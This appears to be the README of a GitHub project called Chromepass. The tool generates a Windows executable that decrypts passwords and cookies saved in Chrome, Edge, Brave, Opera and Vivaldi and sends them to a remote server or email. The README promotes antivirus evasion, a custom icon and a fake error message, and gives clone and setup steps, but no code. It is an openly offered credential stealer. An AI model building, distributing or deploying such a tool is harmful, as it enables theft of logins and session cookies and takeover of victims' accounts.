Chromepass - Hacking Chrome Saved Passwords. Contribute to darkarp/chromepass development by creating an account on GitHub.
About The project
Chromepass is a python-based console application that generates a windows executable with the following features:
- Decrypt Google Chrome, Chromium, Edge, Brave, Opera and Vivaldi saved paswords and cookies
- Send a file with the login/password combinations and cookies remotely (http server or email)
- Undetectable by AV if done correctly
- Custom icon
- Custom error message
- Customize port
The new client build methodology practically ensures a 0% detection rate, even without AV-evasion tactics. If this becomes false in the future, some methods will be implemented to improve AV evasion.
An example of latest scans (note: within 10-12 hours we go from 0-2 detections to 32 detections so run the analysis on your own builds):
Dependencies and Requirements
This is a very simple application, which uses only:
- Python - Tested on python 3.9+
It recommended to perform the installation inside a Windows VM. Some parts of the installation procedure might be affected by existing configurations. This was tested on a clean Windows 10 VM.
Chromepass requires Windows to compile! Support for linux and macOS may be added soon.
Clone the repository:
git clone https://github.com/darkarp/chromepass
Note: Alternatively to cloning the repository, you can download the latest release, since the repository may be more bug-prone.
Install the dependencies:
The dependencies are checked and installed automatically, so you can just skip to Usage. It's recommended that you use a clean VM, just to make sure there are no conflicts.
If you don't have the dependencies and your internet isn't fast, this will take a while. Go grab some coffee.